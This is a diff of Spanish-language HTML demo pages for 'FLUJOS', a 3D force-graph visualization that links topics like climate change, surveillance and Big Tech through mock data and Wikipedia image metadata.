{ id: 'Paraísos Fiscales', group: 'corporate', card: false, source: 'Wikipedia' },
|
||||
{ id: 'Lobbying', group: 'corporate', card: false, source: 'Noticias' },
|
||||
{ id: 'Elecciones', group: 'politics', card: false, source: 'Noticias' },
|
||||
{ id: 'Migración', group: 'politics', card: false, source: 'Noticias' },
|
||||
{ id: 'Extremismo', group: 'politics', card: false, source: 'Noticias' },
|
||||
{ id: 'Redes Sociales', group: 'data', card: false, source: 'Wikipedia' },
|
||||
{ id: 'IA & Algoritmos', group: 'data', card: false, source: 'Noticias' },
|
||||
],
|
||||
links: [
|
||||
{ source: 'FLUJOS', target: 'Cambio Climático', value: 90 },
|
||||
{ source: 'FLUJOS', target: 'Seguridad Intl.', value: 85 },
|
||||
{ source: 'FLUJOS', target: 'Libertad de Prensa', value: 88 },
|
||||
{ source: 'FLUJOS', target: 'Eco-Corporativo', value: 87 },
|
||||
{ source: 'FLUJOS', target: 'Populismo', value: 82 },
|
||||
{ source: 'FLUJOS', target: 'Wikipedia', value: 95 },
|
||||
{ source: 'FLUJOS', target: 'Torrents & P2P', value: 88 },
|
||||
{ source: 'Cambio Climático', target: 'Emisiones CO₂', value: 92 },
|
||||
{ source: 'Cambio Climático', target: 'Energía Renovable', value: 88 },
|
||||
{ source: 'Cambio Climático', target: 'Pérdida Biodiversidad',value: 85 },
|
||||
{ source: 'Emisiones CO₂', target: 'Eco-Corporativo', value: 78 },
|
||||
{ source: 'Seguridad Intl.', target: 'Ciberseguridad', value: 88 },
|
||||
{ source: 'Seguridad Intl.', target: 'Vigilancia Masiva', value: 85 },
|
||||
{ source: 'Seguridad Intl.', target: 'Migración', value: 75 },
|
||||
{ source: 'Ciberseguridad', target: 'Privacidad Datos', value: 90 },
|
||||
{ source: 'Vigilancia Masiva', target: 'Privacidad Datos', value: 92 },
|
||||
{ source: 'Vigilancia Masiva', target: 'IA & Algoritmos', value: 82 },
|
||||
{ source: 'Libertad de Prensa',target: 'Desinformación', value: 88 },
|
||||
{ source: 'Libertad de Prensa',target: 'Whistleblowers', value: 85 },
|
||||
{ source: 'Desinformación', target: 'Redes Sociales', value: 90 },
|
||||
{ source: 'Desinformación', target: 'Elecciones', value: 85 },
|
||||
{ source: 'Eco-Corporativo', target: 'Big Tech', value: 85 },
|
||||
{ source: 'Eco-Corporativo', target: 'Paraísos Fiscales', value: 88 },
|
||||
{ source: 'Eco-Corporativo', target: 'Lobbying', value: 90 },
|
||||
{ source: 'Big Tech', target: 'IA & Algoritmos', value: 88 },
|
||||
{ source: 'Big Tech', target: 'Redes Sociales', value: 92 },
|
||||
{ source: 'Lobbying', target: 'Elecciones', value: 78 },
|
||||
{ source: 'Populismo', target: 'Elecciones', value: 88 },
|
||||
{ source: 'Populismo', target: 'Migración', value: 85 },
|
||||
{ source: 'Populismo', target: 'Extremismo', value: 82 },
|
||||
{ source: 'Extremismo', target: 'Redes Sociales', value: 78 },
|
||||
{ source: 'IA & Algoritmos', target: 'Redes Sociales', value: 85 },
|
||||
]
|
||||
};
|
||||
|
||||
const elem = document.getElementById('graph');
|
||||
const css2dRenderer = new CSS2DRenderer();
|
||||
css2dRenderer.setSize(window.innerWidth, window.innerHeight);
|
||||
css2dRenderer.domElement.style.position = 'absolute';
|
||||
css2dRenderer.domElement.style.top = '0';
|
||||
css2dRenderer.domElement.style.left = '0';
|
||||
css2dRenderer.domElement.style.pointerEvents = 'none';
|
||||
elem.appendChild(css2dRenderer.domElement);
|
||||
|
||||
function showNodeInfo(node) {
|
||||
const panel = document.getElementById('selected-info');
|
||||
document.getElementById('sel-title').textContent = node.id;
|
||||
const badge = document.getElementById('sel-badge');
|
||||
badge.textContent = node.group.toUpperCase();
|
||||
badge.style.background = GROUP_COLORS[node.group] + '22';
|
||||
badge.style.border = `1px solid ${GROUP_COLORS[node.group]}`;
|
||||
badge.style.color = GROUP_COLORS[node.group];
|
||||
document.getElementById('sel-content').textContent = node.content || node.id;
|
||||
document.getElementById('sel-meta').textContent =
|
||||
`FUENTE: ${node.source || '—'}` + (node.connections ? ` | CONEXIONES: ${node.connections}` : '');
|
||||
panel.style.display = 'block';
|
||||
}
|
||||
|
||||
const Graph = ForceGraph3D({ extraRenderers: [css2dRenderer] })(elem)
|
||||
.backgroundColor('#000000')
|
||||
.nodeLabel(() => '') // disable default tooltip — we use CSS2D labels
|
||||
.nodeColor(node => GROUP_COLORS[node.group] || '#ffffff')
|
||||
.nodeVal(node => node.card ? 3 : 1)
|
||||
.nodeOpacity(node => node.card ? 0 : 0.85) // hide sphere for card nodes
|
||||
.linkColor(() => 'rgba(57,255,20,0.2)')
|
||||
.linkWidth(link => (link.value || 50) / 60)
|
||||
.nodeThreeObject(node => {
|
||||
const color = GROUP_COLORS[node.group] || '#ffffff';
|
||||
|
||||
if (node.card) {
|
||||
// Full HTML card as CSS2D object
|
||||
const wrapper = document.createElement('div');
|
||||
wrapper.className = 'node-card';
|
||||
wrapper.style.setProperty('--color', color);
|
||||
wrapper.style.setProperty('--color-bg', color + '15');
|
||||
wrapper.style.borderColor = color;
|
||||
|
||||
const title = document.createElement('div');
|
||||
title.className = 'card-title';
|
||||
title.textContent = node.id;
|
||||
|
||||
const badge = document.createElement('div');
|
||||
badge.className = 'card-badge';
|
||||
badge.textContent = node.group.toUpperCase();
|
||||
|
||||
const source = document.createElement('div');
|
||||
source.className = 'card-source';
|
||||
source.textContent = `↗ ${node.source || '—'}${node.connections ? ' · ' + node.connections + ' conn.' : ''}`;
|
||||
|
||||
wrapper.appendChild(title);
|
||||
wrapper.appendChild(badge);
|
||||
wrapper.appendChild(source);
|
||||
|
||||
wrapper.addEventListener('click', () => showNodeInfo(node));
|
||||
|
||||
return new CSS2DObject(wrapper);
|
||||
} else {
|
||||
// Small text label for leaf nodes
|
||||
const label = document.createElement('div');
|
||||
label.className = 'node-label-small';
|
||||
label.textContent = node.id;
|
||||
label.style.setProperty('--color', color);
|
||||
return new CSS2DObject(label);
|
||||
}
|
||||
})
|
||||
.nodeThreeObjectExtend(true)
|
||||
.onNodeClick(node => showNodeInfo(node))
|
||||
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
||||
.graphData(MOCK_DATA);
|
||||
|
||||
Graph.d3Force('charge').strength(-200);
|
||||
setTimeout(() => Graph.zoomToFit(800, 100), 1500);
|
||||
|
||||
// Controls
|
||||
const umbralSlider = document.getElementById('umbral');
|
||||
const umbralVal = document.getElementById('umbral-val');
|
||||
umbralSlider.addEventListener('input', () => {
|
||||
const v = parseInt(umbralSlider.value);
|
||||
umbralVal.textContent = v + '%';
|
||||
const allLinks = MOCK_DATA.links;
|
||||
const filtered = v > 0 ? allLinks.filter(l => (l.value || 0) >= v) : allLinks;
|
||||
Graph.graphData({ nodes: MOCK_DATA.nodes, links: filtered });
|
||||
});
|
||||
|
||||
const chargeSlider = document.getElementById('charge');
|
||||
const chargeVal = document.getElementById('charge-val');
|
||||
chargeSlider.addEventListener('input', () => {
|
||||
const v = parseInt(chargeSlider.value);
|
||||
chargeVal.textContent = v;
|
||||
Graph.d3Force('charge').strength(v);
|
||||
Graph.d3ReheatSimulation();
|
||||
});
|
||||
|
||||
window.addEventListener('resize', () => {
|
||||
Graph.width(elem.clientWidth).height(elem.clientHeight);
|
||||
css2dRenderer.setSize(window.innerWidth, window.innerHeight);
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
242
INFO/POCS/VISUALIZACION/public/demos/demo_text_nodes.html
Normal file
242
INFO/POCS/VISUALIZACION/public/demos/demo_text_nodes.html
Normal file
|
|
@ -0,0 +1,242 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="es">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>FLUJOS — Demo: Text Nodes</title>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&display=swap" rel="stylesheet">
|
||||
|
||||
<script type="importmap">
|
||||
{
|
||||
"imports": {
|
||||
"three": "https://esm.sh/three@0.168",
|
||||
"three/": "https://esm.sh/three@0.168/",
|
||||
"three-spritetext": "https://esm.sh/three-spritetext@1.9?external=three",
|
||||
"3d-force-graph": "https://esm.sh/3d-force-graph@1.73?external=three"
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<style>
|
||||
* { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Fira Code', monospace; }
|
||||
body { background: #000; color: #39ff14; overflow: hidden; }
|
||||
|
||||
#graph { position: fixed; top: 0; left: 0; width: 100%; height: 100%; }
|
||||
|
||||
#header {
|
||||
position: fixed; top: 0; left: 0; right: 0; z-index: 10;
|
||||
padding: 10px 20px;
|
||||
background: linear-gradient(180deg, rgba(0,0,0,0.9) 0%, transparent 100%);
|
||||
display: flex; align-items: center; gap: 16px;
|
||||
}
|
||||
#header h1 { font-size: 1.1em; color: #39ff14; letter-spacing: 3px; text-shadow: 0 0 10px #39ff14; }
|
||||
#header .tag {
|
||||
font-size: 0.65em; padding: 3px 8px;
|
||||
border: 1px solid #39ff14; color: #39ff14;
|
||||
opacity: 0.7; letter-spacing: 2px;
|
||||
}
|
||||
|
||||
#info-panel {
|
||||
position: fixed; bottom: 30px; right: 20px; z-index: 10;
|
||||
width: 280px;
|
||||
background: rgba(0,0,0,0.85);
|
||||
border: 1px solid #39ff14;
|
||||
padding: 16px;
|
||||
display: none;
|
||||
}
|
||||
#info-panel h3 { font-size: 0.9em; color: #39ff14; margin-bottom: 8px; }
|
||||
#info-panel .group-badge {
|
||||
display: inline-block; padding: 2px 8px;
|
||||
font-size: 0.7em; letter-spacing: 2px;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
#info-panel p { font-size: 0.75em; color: #aaa; line-height: 1.5; }
|
||||
#info-panel .close {
|
||||
position: absolute; top: 8px; right: 10px;
|
||||
cursor: pointer; color: #39ff14; font-size: 0.8em;
|
||||
background: none; border: none; font-family: inherit;
|
||||
}
|
||||
|
||||
#legend {
|
||||
position: fixed; bottom: 30px; left: 20px; z-index: 10;
|
||||
background: rgba(0,0,0,0.8); border: 1px solid #333;
|
||||
padding: 12px 16px;
|
||||
}
|
||||
#legend h4 { font-size: 0.65em; color: #555; margin-bottom: 8px; letter-spacing: 2px; }
|
||||
.legend-item { display: flex; align-items: center; gap: 8px; margin-bottom: 4px; }
|
||||
.legend-dot { width: 8px; height: 8px; border-radius: 50%; }
|
||||
.legend-label { font-size: 0.65em; color: #888; }
|
||||
|
||||
#technique-label {
|
||||
position: fixed; top: 50px; right: 20px; z-index: 10;
|
||||
font-size: 0.6em; color: #333; letter-spacing: 1px;
|
||||
text-align: right; line-height: 1.8;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="graph"></div>
|
||||
|
||||
<div id="header">
|
||||
<h1>FLUJOS</h1>
|
||||
<span class="tag">TEXT NODES</span>
|
||||
<span class="tag">three-spritetext</span>
|
||||
</div>
|
||||
|
||||
<div id="info-panel">
|
||||
<button class="close" onclick="document.getElementById('info-panel').style.display='none'">✕</button>
|
||||
<h3 id="node-title"></h3>
|
||||
<span class="group-badge" id="node-group"></span>
|
||||
<p id="node-content"></p>
|
||||
</div>
|
||||
|
||||
<div id="legend">
|
||||
<h4>GRUPOS</h4>
|
||||
<div class="legend-item"><div class="legend-dot" style="background:#39ff14"></div><span class="legend-label">core</span></div>
|
||||
<div class="legend-item"><div class="legend-dot" style="background:#ff4500"></div><span class="legend-label">climate</span></div>
|
||||
<div class="legend-item"><div class="legend-dot" style="background:#ff69b4"></div><span class="legend-label">security</span></div>
|
||||
<div class="legend-item"><div class="legend-dot" style="background:#00fff2"></div><span class="legend-label">journalism</span></div>
|
||||
<div class="legend-item"><div class="legend-dot" style="background:#ffdc00"></div><span class="legend-label">corporate</span></div>
|
||||
<div class="legend-item"><div class="legend-dot" style="background:#4488ff"></div><span class="legend-label">politics</span></div>
|
||||
<div class="legend-item"><div class="legend-dot" style="background:#cc44ff"></div><span class="legend-label">data</span></div>
|
||||
</div>
|
||||
|
||||
<div id="technique-label">
|
||||
nodeThreeObject(node => SpriteText)<br>
|
||||
nodeThreeObjectExtend(true)<br>
|
||||
— three-spritetext —
|
||||
</div>
|
||||
|
||||
<script type="module">
|
||||
import ForceGraph3D from '3d-force-graph';
|
||||
import SpriteText from 'three-spritetext';
|
||||
|
||||
const GROUP_COLORS = {
|
||||
core: '#39ff14',
|
||||
climate: '#ff4500',
|
||||
security: '#ff69b4',
|
||||
journalism: '#00fff2',
|
||||
corporate: '#ffdc00',
|
||||
politics: '#4488ff',
|
||||
data: '#cc44ff'
|
||||
};
|
||||
|
||||
const MOCK_DATA = {
|
||||
nodes: [
|
||||
{ id: 'FLUJOS', group: 'core', content: 'Sistema de visualización de flujos de información global' },
|
||||
{ id: 'Cambio Climático', group: 'climate', content: 'Crisis climática y sus efectos sociopolíticos a escala global' },
|
||||
{ id: 'Emisiones CO₂', group: 'climate', content: 'Emisiones de dióxido de carbono por sector industrial' },
|
||||
{ id: 'Energía Renovable', group: 'climate', content: 'Transición energética hacia fuentes sostenibles' },
|
||||
{ id: 'Pérdida Biodiversidad',group: 'climate', content: 'Extinción masiva de especies y colapso de ecosistemas' },
|
||||
{ id: 'Seguridad Intl.', group: 'security', content: 'Geopolítica, conflictos armados y alianzas militares' },
|
||||
{ id: 'Ciberseguridad', group: 'security', content: 'Ataques cibernéticos estatales y crimen organizado digital' },
|
||||
{ id: 'Vigilancia Masiva', group: 'security', content: 'Programas de espionaje gubernamental (NSA, GCHQ...)' },
|
||||
{ id: 'Privacidad Datos', group: 'security', content: 'Derechos digitales y protección de datos personales' },
|
||||
{ id: 'Libertad de Prensa', group: 'journalism', content: 'Estado global de la libertad periodística' },
|
||||
{ id: 'Desinformación', group: 'journalism', content: 'Fake news, propaganda y manipulación informativa' },
|
||||
{ id: 'Whistleblowers', group: 'journalism', content: 'Filtraciones: Snowden, Assange, Panama Papers...' },
|
||||
{ id: 'Periodismo de Datos', group: 'journalism', content: 'Investigación basada en datos abiertos y scraping' },
|
||||
{ id: 'Eco-Corporativo', group: 'corporate', content: 'Poder corporativo y su influencia en política' },
|
||||
{ id: 'Big Tech', group: 'corporate', content: 'Monopolios: Google, Meta, Amazon, Apple, Microsoft' },
|
||||
{ id: 'Paraísos Fiscales', group: 'corporate', content: 'Evasión fiscal corporativa offshore' },
|
||||
{ id: 'Lobbying', group: 'corporate', content: 'Grupos de presión e influencia legislativa' },
|
||||
{ id: 'Populismo', group: 'politics', content: 'Auge de movimientos populistas globales' },
|
||||
{ id: 'Elecciones', group: 'politics', content: 'Procesos electorales e interferencia exterior' },
|
||||
{ id: 'Migración', group: 'politics', content: 'Crisis migratoria y políticas de fronteras' },
|
||||
{ id: 'Extremismo', group: 'politics', content: 'Radicalización online y movimientos extremistas' },
|
||||
{ id: 'Wikipedia', group: 'data', content: 'Enciclopedia libre como fuente de datos estructurados' },
|
||||
{ id: 'Redes Sociales', group: 'data', content: 'Plataformas sociales como vectores de información' },
|
||||
{ id: 'IA & Algoritmos', group: 'data', content: 'Inteligencia artificial, sesgos y control algorítmico' },
|
||||
{ id: 'Torrents & P2P', group: 'data', content: 'Redes de distribución descentralizada de información' },
|
||||
],
|
||||
links: [
|
||||
{ source: 'FLUJOS', target: 'Cambio Climático', value: 90 },
|
||||
{ source: 'FLUJOS', target: 'Seguridad Intl.', value: 85 },
|
||||
{ source: 'FLUJOS', target: 'Libertad de Prensa', value: 88 },
|
||||
{ source: 'FLUJOS', target: 'Eco-Corporativo', value: 87 },
|
||||
{ source: 'FLUJOS', target: 'Populismo', value: 82 },
|
||||
{ source: 'FLUJOS', target: 'Wikipedia', value: 95 },
|
||||
{ source: 'FLUJOS', target: 'Torrents & P2P', value: 88 },
|
||||
{ source: 'Cambio Climático', target: 'Emisiones CO₂', value: 92 },
|
||||
{ source: 'Cambio Climático', target: 'Energía Renovable', value: 88 },
|
||||
{ source: 'Cambio Climático', target: 'Pérdida Biodiversidad',value: 85 },
|
||||
{ source: 'Emisiones CO₂', target: 'Eco-Corporativo', value: 78 },
|
||||
{ source: 'Energía Renovable', target: 'Big Tech', value: 65 },
|
||||
{ source: 'Seguridad Intl.', target: 'Ciberseguridad', value: 88 },
|
||||
{ source: 'Seguridad Intl.', target: 'Vigilancia Masiva', value: 85 },
|
||||
{ source: 'Seguridad Intl.', target: 'Migración', value: 75 },
|
||||
{ source: 'Ciberseguridad', target: 'Privacidad Datos', value: 90 },
|
||||
{ source: 'Vigilancia Masiva', target: 'Privacidad Datos', value: 92 },
|
||||
{ source: 'Vigilancia Masiva', target: 'Big Tech', value: 75 },
|
||||
{ source: 'Vigilancia Masiva', target: 'IA & Algoritmos', value: 82 },
|
||||
{ source: 'Libertad de Prensa',target: 'Desinformación', value: 88 },
|
||||
{ source: 'Libertad de Prensa',target: 'Whistleblowers', value: 85 },
|
||||
{ source: 'Libertad de Prensa',target: 'Periodismo de Datos', value: 82 },
|
||||
{ source: 'Desinformación', target: 'Redes Sociales', value: 90 },
|
||||
{ source: 'Desinformación', target: 'Elecciones', value: 85 },
|
||||
{ source: 'Desinformación', target: 'Extremismo', value: 80 },
|
||||
{ source: 'Whistleblowers', target: 'Ciberseguridad', value: 72 },
|
||||
{ source: 'Periodismo de Datos',target:'Wikipedia', value: 80 },
|
||||
{ source: 'Eco-Corporativo', target: 'Big Tech', value: 85 },
|
||||
{ source: 'Eco-Corporativo', target: 'Paraísos Fiscales', value: 88 },
|
||||
{ source: 'Eco-Corporativo', target: 'Lobbying', value: 90 },
|
||||
{ source: 'Big Tech', target: 'IA & Algoritmos', value: 88 },
|
||||
{ source: 'Big Tech', target: 'Privacidad Datos', value: 85 },
|
||||
{ source: 'Big Tech', target: 'Redes Sociales', value: 92 },
|
||||
{ source: 'Lobbying', target: 'Elecciones', value: 78 },
|
||||
{ source: 'Populismo', target: 'Elecciones', value: 88 },
|
||||
{ source: 'Populismo', target: 'Migración', value: 85 },
|
||||
{ source: 'Populismo', target: 'Extremismo', value: 82 },
|
||||
{ source: 'Extremismo', target: 'Redes Sociales', value: 78 },
|
||||
{ source: 'IA & Algoritmos', target: 'Redes Sociales', value: 85 },
|
||||
]
|
||||
};
|
||||
|
||||
const elem = document.getElementById('graph');
|
||||
|
||||
const Graph = ForceGraph3D()(elem)
|
||||
.backgroundColor('#000000')
|
||||
.nodeLabel(node => `<span style="font-family:Fira Code,monospace;color:${GROUP_COLORS[node.group]}">${node.id}</span>`)
|
||||
.nodeColor(node => GROUP_COLORS[node.group] || '#ffffff')
|
||||
.nodeVal(node => node.group === 'core' ? 4 : 1.5)
|
||||
.linkColor(link => {
|
||||
const val = link.value || 50;
|
||||
const alpha = Math.round((val / 100) * 200).toString(16).padStart(2, '0');
|
||||
return `#39ff14${alpha}`;
|
||||
})
|
||||
.linkOpacity(0.4)
|
||||
.linkWidth(link => (link.value || 50) / 60)
|
||||
.nodeThreeObject(node => {
|
||||
const sprite = new SpriteText(node.id);
|
||||
sprite.material.depthWrite = false;
|
||||
sprite.color = GROUP_COLORS[node.group] || '#ffffff';
|
||||
sprite.textHeight = node.group === 'core' ? 5 : 3.5;
|
||||
sprite.backgroundColor = 'rgba(0,0,0,0.4)';
|
||||
sprite.padding = 2;
|
||||
return sprite;
|
||||
})
|
||||
.nodeThreeObjectExtend(true)
|
||||
.onNodeClick(node => {
|
||||
const panel = document.getElementById('info-panel');
|
||||
document.getElementById('node-title').textContent = node.id;
|
||||
const badge = document.getElementById('node-group');
|
||||
badge.textContent = node.group.toUpperCase();
|
||||
badge.style.background = GROUP_COLORS[node.group] + '22';
|
||||
badge.style.border = `1px solid ${GROUP_COLORS[node.group]}`;
|
||||
badge.style.color = GROUP_COLORS[node.group];
|
||||
document.getElementById('node-content').textContent = node.content || '';
|
||||
panel.style.display = 'block';
|
||||
})
|
||||
.onNodeHover(node => { elem.style.cursor = node ? 'pointer' : null; })
|
||||
.graphData(MOCK_DATA);
|
||||
|
||||
Graph.d3Force('charge').strength(-180);
|
||||
|
||||
setTimeout(() => Graph.zoomToFit(600, 80), 1200);
|
||||
|
||||
window.addEventListener('resize', () => {
|
||||
Graph.width(elem.clientWidth).height(elem.clientHeight);
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
385
INFO/POCS/VISUALIZACION/public/demos/demo_wiki_images.html
Normal file
385
INFO/POCS/VISUALIZACION/public/demos/demo_wiki_images.html
Normal file
|
|
@ -0,0 +1,385 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="es">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>FLUJOS — Demo: Wikipedia Images</title>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&display=swap" rel="stylesheet">
|
||||
|
||||
<script type="importmap">
|
||||
{
|
||||
"imports": {
|
||||
"three": "https://esm.sh/three@0.168",
|
||||
"three/": "https://esm.sh/three@0.168/",
|
||||
"3d-force-graph": "https://esm.sh/3d-force-graph@1.73?external=three"
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<style>
|
||||
* { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Fira Code', monospace; }
|
||||
body { background: #000; color: #39ff14; overflow: hidden; }
|
||||
#graph { position: fixed; top: 0; left: 0; width: 100%; height: 100%; }
|
||||
|
||||
#header {
|
||||
position: fixed; top: 0; left: 0; right: 0; z-index: 10;
|
||||
padding: 10px 20px;
|
||||
background: linear-gradient(180deg, rgba(0,0,0,0.95) 0%, transparent 100%);
|
||||
display: flex; align-items: center; gap: 14px;
|
||||
}
|
||||
#header h1 { font-size: 1em; color: #39ff14; letter-spacing: 4px; text-shadow: 0 0 10px #39ff14; }
|
||||
.tag { font-size: 0.6em; padding: 3px 8px; border: 1px solid #ff4500; color: #ff4500; letter-spacing: 2px; }
|
||||
.tag2 { font-size: 0.6em; padding: 3px 8px; border: 1px solid #555; color: #555; letter-spacing: 2px; }
|
||||
|
||||
/* Panel de detalle */
|
||||
#detail {
|
||||
position: fixed; bottom: 0; right: 0; z-index: 10;
|
||||
width: 340px;
|
||||
background: rgba(0,0,0,0.95);
|
||||
border-left: 1px solid #222;
|
||||
border-top: 1px solid #222;
|
||||
display: none;
|
||||
flex-direction: column;
|
||||
max-height: 60vh;
|
||||
}
|
||||
#detail img {
|
||||
width: 100%; max-height: 200px;
|
||||
object-fit: cover; display: block;
|
||||
}
|
||||
#detail .detail-body { padding: 14px 16px; overflow-y: auto; }
|
||||
#detail h3 { font-size: 0.8em; color: #fff; margin-bottom: 6px; line-height: 1.4; }
|
||||
#detail .badge {
|
||||
display: inline-block; font-size: 0.6em; padding: 2px 8px;
|
||||
border: 1px solid #ff4500; color: #ff4500; letter-spacing: 2px;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
#detail p { font-size: 0.7em; color: #777; line-height: 1.6; margin-bottom: 8px; }
|
||||
#detail .meta { font-size: 0.62em; color: #444; line-height: 1.8; }
|
||||
#detail .meta span { color: #666; }
|
||||
#detail .close {
|
||||
position: absolute; top: 8px; right: 10px;
|
||||
background: rgba(0,0,0,0.7); border: none;
|
||||
color: #555; font-family: inherit; font-size: 0.8em;
|
||||
cursor: pointer; padding: 2px 6px; z-index: 1;
|
||||
}
|
||||
#detail .close:hover { color: #fff; }
|
||||
|
||||
/* Stats */
|
||||
#stats {
|
||||
position: fixed; bottom: 20px; left: 20px; z-index: 10;
|
||||
font-size: 0.62em; color: #333; line-height: 2;
|
||||
}
|
||||
#stats span { color: #555; }
|
||||
|
||||
/* Tooltip custom */
|
||||
.node-tooltip {
|
||||
position: fixed; z-index: 20; pointer-events: none;
|
||||
background: rgba(0,0,0,0.9); border: 1px solid #333;
|
||||
padding: 6px 10px; font-size: 0.7em; color: #fff;
|
||||
max-width: 180px; display: none;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div id="graph"></div>
|
||||
|
||||
<div id="header">
|
||||
<h1>FLUJOS</h1>
|
||||
<span class="tag">CAMBIO CLIMÁTICO</span>
|
||||
<span class="tag2">Wikipedia Images · 15 nodos</span>
|
||||
</div>
|
||||
|
||||
<div id="detail">
|
||||
<button class="close" onclick="document.getElementById('detail').style.display='none'">✕</button>
|
||||
<img id="d-img" src="" alt="">
|
||||
<div class="detail-body">
|
||||
<h3 id="d-title"></h3>
|
||||
<span class="badge">CAMBIO CLIMÁTICO</span>
|
||||
<p id="d-desc"></p>
|
||||
<div class="meta">
|
||||
<div>ARTÍCULO <span id="d-articulo"></span></div>
|
||||
<div>LICENCIA <span id="d-licencia"></span></div>
|
||||
<div>AUTOR <span id="d-autor"></span></div>
|
||||
<div>TAMAÑO <span id="d-size"></span></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="stats">
|
||||
<div>NODOS <span>15</span></div>
|
||||
<div>TEMA <span>cambio climático</span></div>
|
||||
<div>FUENTE <span>Wikipedia / Wikimedia Commons</span></div>
|
||||
</div>
|
||||
|
||||
<div id="node-tooltip" class="node-tooltip"></div>
|
||||
|
||||
<script type="module">
|
||||
import ForceGraph3D from '3d-force-graph';
|
||||
import * as THREE from 'three';
|
||||
|
||||
// ── Datos: imágenes de Wikipedia sobre cambio climático ─────────────────────
|
||||
const WIKI_NODES = [
|
||||
{
|
||||
id: "cambio_climático_000",
|
||||
archivo: "cambio_climático_000.jpg",
|
||||
img: "/images/wiki/cambio_climático_000.jpg",
|
||||
titulo: "Vista aérea del hielo en Nunavut",
|
||||
articulo: "Cambio climático",
|
||||
descripcion: "Vista aérea del borde del hielo en Nunavut, Canadá. Representa el deshielo polar como consecuencia del cambio climático.",
|
||||
autor: "Doc Searls",
|
||||
licencia: "CC BY-SA 2.0",
|
||||
width: 3504, height: 2336,
|
||||
grupo: "fotografia",
|
||||
},
|
||||
{
|
||||
id: "cambio_climático_001",
|
||||
archivo: "cambio_climático_001.png",
|
||||
img: "/images/wiki/cambio_climático_001.png",
|
||||
titulo: "Variaciones históricas de CO₂",
|
||||
articulo: "Cambio climático",
|
||||
descripcion: "Historia y futuro de la concentración de CO₂ en la atmósfera. Escala logarítmica mostrando los últimos 100 millones de años.",
|
||||
autor: "Hannes Grobe",
|
||||
licencia: "CC BY-SA 2.5",
|
||||
width: 1155, height: 806,
|
||||
grupo: "grafico",
|
||||
},
|
||||
{
|
||||
id: "cambio_climático_002",
|
||||
archivo: "cambio_climático_002.png",
|
||||
img: "/images/wiki/cambio_climático_002.png",
|
||||
titulo: "Factores del cambio climático",
|
||||
articulo: "Cambio climático",
|
||||
descripcion: "Esquema ilustrativo de los principales factores que afectan al cambio climático.",
|
||||
autor: "Medium69 / Ortisa",
|
||||
licencia: "CC BY-SA 4.0",
|
||||
width: 600, height: 582,
|
||||
grupo: "esquema",
|
||||
},
|
||||
{
|
||||
id: "cambio_climático_003",
|
||||
archivo: "cambio_climático_003.jpg",
|
||||
img: "/images/wiki/cambio_climático_003.jpg",
|
||||
titulo: "Consenso científico sobre el clima",
|
||||
articulo: "Cambio climático",
|
||||
descripcion: "Gráfico de Cook et al. (2016) ilustrando los resultados de siete estudios de consenso climático.",
|
||||
autor: "Skeptical Science",
|
||||
licencia: "CC BY-SA 3.0",
|
||||
width: 1920, height: 1080,
|
||||
grupo: "grafico",
|
||||
},
|
||||
{
|
||||
id: "cambio_climático_004",
|
||||
archivo: "cambio_climático_004.png",
|
||||
img: "/images/wiki/cambio_climático_004.png",
|
||||
titulo: "Emisiones CO₂ y temperatura París",
|
||||
articulo: "Cambio climático",
|
||||
descripcion: "Emisiones globales de CO₂ y resultados probabilísticos de temperatura según los anuncios previos a la conferencia de París.",
|
||||
autor: "Jae Edmonds / PNNL",
|
||||
licencia: "Public domain",
|
||||
width: 1920, height: 806,
|
||||
grupo: "grafico",
|
||||
},
|
||||
{
|
||||
id: "cambio_climático_005",
|
||||
archivo: "cambio_climático_005.png",
|
||||
img: "/images/wiki/cambio_climático_005.png",
|
||||
titulo: "Escenarios de emisiones futuras",
|
||||
articulo: "Cambio climático",
|
||||
descripcion: "Proyecciones de emisiones globales de gases de efecto invernadero según distintos escenarios de política climática.",
|
||||
autor: "Hannah Ritchie y Max Roser",
|
||||
licencia: "CC BY 4.0",
|
||||
width: 2041, height: 1422,
|
||||
grupo: "grafico",
|
||||
},
|
||||
{
|
||||
id: "cambio_climático_006",
|
||||
archivo: "cambio_climático_006.png",
|
||||
img: "/images/wiki/cambio_climático_006.png",
|
||||
titulo: "Gases efecto invernadero por sector",
|
||||
articulo: "Cambio climático",
|
||||
descripcion: "Emisión de gases de efecto invernadero desglosada por sector económico.",
|
||||
autor: "Robert A. Rohde / Rojasyesid",
|
||||
licencia: "CC BY-SA 3.0",
|
||||
width: 617, height: 584,
|
||||
grupo: "grafico",
|
||||
},
|
||||
{
|
||||
id: "cambio_climático_007",
|
||||
archivo: "cambio_climático_007.jpg",
|
||||
img: "/images/wiki/cambio_climático_007.jpg",
|
||||
titulo: "Temperatura de la Corriente del Golfo",
|
||||
articulo: "Cambio climático",
|
||||
descripcion: "Imagen en falso color de la temperatura de la Corriente del Golfo. La corriente cálida es visible contra las aguas más frías circundantes.",
|
||||
autor: "NASA / MODIS Ocean Group",
|
||||
licencia: "Public domain",
|
||||
width: 538, height: 566,
|
||||
grupo: "satelite",
|
||||
},
|
||||
{
|
||||
id: "cambio_climático_008",
|
||||
archivo: "cambio_climático_008.png",
|
||||
img: "/images/wiki/cambio_climático_008.png",
|
||||
titulo: "Mapa de Pangea",
|
||||
articulo: "Cambio climático",
|
||||
